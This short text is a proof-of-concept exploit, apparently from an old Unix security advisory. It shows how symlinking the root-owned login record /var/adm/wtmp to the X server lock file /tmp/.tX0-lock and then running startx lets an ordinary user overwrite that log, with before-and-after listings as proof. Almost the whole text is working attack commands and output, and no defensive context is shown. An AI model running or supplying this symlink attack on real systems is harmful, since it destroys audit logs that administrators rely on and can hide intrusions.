Exploit: $ ls -l /var/adm/wtmp -rw-r--r-- 1 root root 174104 Dec 30 08:31 /var/adm/wtmp $ ln -s /var/adm/wtmp /tmp/.tX0-lock $ startx (At this point exit X if it started, or else ignore any error messages) $ ls -l /var/adm/wtmp -r--r--r-- 1 root root 11 Dec 30 08:33 /var/adm/wtmp